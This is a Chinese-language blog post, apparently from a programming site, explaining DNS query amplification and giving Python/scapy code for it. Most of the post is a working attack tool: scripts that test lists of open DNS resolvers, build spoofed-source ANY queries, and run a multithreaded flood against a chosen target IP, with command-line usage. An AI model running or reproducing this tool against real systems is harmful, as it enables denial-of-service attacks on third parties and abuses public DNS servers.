Python 实现DNS查询放大攻击
查询放大攻击的原理是,通过网络中存在的DNS服务器资源,对目标主机发起的拒绝服务攻击,其原理是伪造源地址为被攻击目标的地址,向DNS递归服务器发起查询请求,此时由于源IP是伪造的,固在DNS服务器回包的时候,会默认回给伪造的IP地址,从而使DNS服务成为了流量放大和攻击的实施者,通过查询大量的DNS服务器,从而实现反弹大量的查询流量,导致目标主机查询带宽被塞满,实现DDOS的目的。
此时我们使用scapy工具构建一个DNS请求数据包 sr1(IP(dst="8.8.8.8")/UDP()/DNS(rd=1,qd=DNSQR(qname="qq.com")),timeout=2)
查询指定网站的DNS记录,结果如下。
上图可以看出,我们所发送的数据长度要小于接收到的数据长度,流量差不多被放大了3倍左右,我们只需要将源地址伪造为被害机器,并使用海量的DNS服务器作为僵尸主机发包,即可完成DDOS攻击。
这里需要在网上找一些DNS服务器。
import socket,os,sys
from scapy.all import *def Inspect_DNS_Usability(filename):proxy_list = []fp = open(filename,"r")for i in fp.readlines():try:addr = i.replace("\n","")respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)if respon != "":proxy_list.append(str(respon["IP"].src))except Exception:passreturn proxy_list
proxy = Inspect_DNS_Usability("./dnslist.log")
fp = open("pass.log","w+")
for item in proxy:fp.write(item + "\n")
fp.close()
验证好有效性以后,接着就是Python多线程发包测试了,scapy构建数据包时由于DNS数据包比较特殊,构建是应该按照顺序 IP/UDP/DNS
来构建,以下代码可以完成发包测试
import socket,os,sys
from scapy.all import *# 构造IP数据包
ip_pack = IP()
ip_pack.src = "192.168.1.2"
ip_pack.dst = "8.8.8.8"# 构造UDP数据包
udp_pack = UDP()
udp_pack.sport = 53
udp_pack.dport = 53# 构建DNS数据包
dns_pack = DNS()
dns_pack.rd = 1
dns_pack.qdcount = 1# 构建DNSQR解析
dnsqr_pack = DNSQR()
dnsqr_pack.qname = "baidu.com"
dnsqr_pack.qtype = 255dns_pack.qd = dnsqr_pack
respon = (ip_pack/udp_pack/dns_pack)
sr1(respon)
最终的完整代码如下所示,通过大量的DNS查询请求实现针对目标主机的拒绝服务.
import os,sys,threading,time
from scapy.all import *
import argparsedef Inspect_DNS_Usability(filename):proxy_list = []fp = open(filename,"r")for i in fp.readlines():try:addr = i.replace("\n","")respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)if respon != "":proxy_list.append(str(respon["IP"].src))except Exception:passreturn proxy_listdef DNS_Flood(target,dns):# 构造IP数据包ip_pack = IP()ip_pack.src = targetip_pack.dst = dns
# ip_pack.src = "192.168.1.2"
# ip_pack.dst = "8.8.8.8"# 构造UDP数据包udp_pack = UDP()udp_pack.sport = 53udp_pack.dport = 53# 构造DNS数据包dns_pack = DNS()dns_pack.rd = 1dns_pack.qdcount = 1# 构造DNSQR解析dnsqr_pack = DNSQR()dnsqr_pack.qname = "baidu.com"dnsqr_pack.qtype = 255dns_pack.qd = dnsqr_packrespon = (ip_pack/udp_pack/dns_pack)sr1(respon)def Banner():print(" _ ____ _ _ ")print(" | | _ _/ ___|| |__ __ _ _ __| | __")print(" | | | | | \___ \| '_ \ / _` | '__| |/ /")print(" | |__| |_| |___) | | | | (_| | | | < ")print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\")print(" |___/ \n")print("E-Mail: me@lyshark.com\n")if __name__ == "__main__":Banner()parser = argparse.ArgumentParser()parser.add_argument("--mode",dest="mode",help="选择执行命令<check=检查DNS可用性/flood=攻击>")parser.add_argument("-f","--file",dest="file",help="指定一个DNS字典,里面存储DNSIP地址")parser.add_argument("-t",dest="target",help="输入需要攻击的IP地址")args = parser.parse_args()if args.mode == "check" and args.file:proxy = Inspect_DNS_Usability(args.file)fp = open("pass.log","w+")for item in proxy:fp.write(item + "\n")fp.close()print("[+] DNS地址检查完毕,当前可用DNS保存为 pass.log")elif args.mode == "flood" and args.target and args.file:with open(args.file,"r") as fp:countent = [line.rstrip("\n") for line in fp]while True:randomDNS = str(random.sample(countent,1)[0])print("[+] 目标主机: {} -----> 随机DNS: {}".format(args.target,randomDNS))t = threading.Thread(target=DNS_Flood,args=(args.target,randomDNS,))t.start()else:parser.print_help()
使用方式首先准备一个test.log
里面一行一个存放所有的已知DNS列表,并通过check命令验证该DNS是否可用,并将可用的DNS保存为pass.log
- main.py --mode=check -f dns.txt
当需要发起攻击时,只需要指定pass.log 文件,则自动使用该DNS列表进行批量查询。
- main.py --mode=flood -f pass.log -t 192.168.1.1
Python 实现DNS查询放大攻击相关推荐
- DNS反射放大攻击分析——DNS反射放大攻击主要是利用DNS回复包比请求包大的特点,放大流量,伪造请求包的源IP地址为受害者IP,将应答包的流量引入受害的服务器...
DNS反射放大攻击分析 摘自:http://www.shaojike.com/2016/08/19/DNS%E6%94%BE%E5%A4%A7%E6%94%BB%E5%87%BB%E7%AE%80%E ...
- DNS云学堂 | 如何防范一本万利的DNS反射放大攻击
一.前言 DNS诞生于上世纪80年代,就像很多新的技术出现只是为了解决一些简单的问题一样,其诞生之初也仅仅是为了解决网络上主机数量爆炸性的增长.IP地址不便于记忆的问题.其发明者可能连自己也没有想到, ...
- 几种常见的攻击方式扫盲(二)——DNS 反射放大攻击
https://cloud.tencent.com/developer/article/1463080
- 基于知识图谱的DNS Query Flood攻击检测研究
摘要: 摘要: 针对具有成本低廉.破坏性大.防御困难特性的DNS Query Flood攻击,本文构建UDP请求的知识图谱.基于攻击者通过发送大量伪造源IP地址的小UDP包冲击DNS服务器实施攻击的原 ...
- MDNS的漏洞报告——mdns的最大问题是允许广域网的mdns单播查询,这会暴露设备信息,或者被利用用于dns放大攻击...
Vulnerability Note VU#550620 Multicast DNS (mDNS) implementations may respond to unicast queries ori ...
- scapy模拟攻击_用scapy模拟DNS放大攻击
首先,DNS放大攻击,简单解释有两点: 1.伪造源IP为其他人的ip地址 2.被请求的记录,要求比较大,比如TXT格式,4000KB 在A机器上,向DNS发送查询那个TXT的记录,并伪造成别人的ip, ...
- 如何防护 DNS 放大攻击?
对于运行网站或服务的个人或公司来说,缓解选择并不多.这是因为,尽管个人或公司的服务器可能是攻击目标,但其并非容量耗尽攻击影响最大的地方.鉴于攻击所产生的大量流量,服务器周围的基础设施感受到影响.互联网 ...
- 【安全牛学习笔记】DNS放大攻击
DNS放大攻击 产生大流量的攻击方法 - 单机的宽带的优势 - 巨大单机数量形成的流量汇聚 - 利用协议特性实现放大效果的流量 DNS协议放大效果 - 查询请求流量小,但响应流量可能非常巨大 - di ...
- linux ntp攻击python脚本,(转)如何发现 NTP 放大攻击漏洞
转自:http://drops.wooyun.org/tips/4715 NTP 漏洞相关的文章在 Drops 已经有过了,并且不止一篇,之所以又翻译了这一片文章,是觉得文章的整体思路很不错,希望对看 ...
最新文章
- 【赠书】阿里巴巴官方出品,工业级知识图谱最新书籍领取!
- 在ABAP中将负号提前的方法
- 固执己见的框架(例如Spring Boot)的危险。 求知代码反转
- Lnmp环境安装禅道项目管理软件
- 在Exchange Server 2007中限制部分用户只能收发内部邮件
- spark任务shell运行_Spark原理与实战(七)部署模式与运行机制
- 2018年全国高校教师“Python编程、应用及华为大数据”培训班
- php图片添加代码,php图片添加文字水印实现代码_php技巧
- Spring Cloud Stream
- 获取URL Schema
- posix多线程有感--线程高级编程(线程调度以及优先级设置)
- intel和amd处理器发展历史
- 安徽省计算机一级选择题题库,计算机等级考试一级选择题题库
- python中如何调取wind数据_Python量化-使用wind接口获取数据
- 我的世界服务器雪球菜单无限雪球,我的世界:雪球玩法?关于指令的高端玩法,操作简单老玩家都在用...
- 服务器系统如用pe和做镜像,怎么用pe中的光盘镜像安装操作系统
- 2022年安全员-C证及安全员-C证作业考试题库
- 一文搞懂全排列、组合、子集问题
- L2-027 名人堂与代金券 (25point(s))(C语言)
- 十二星座的12种风味咖啡,最后一个能让你上瘾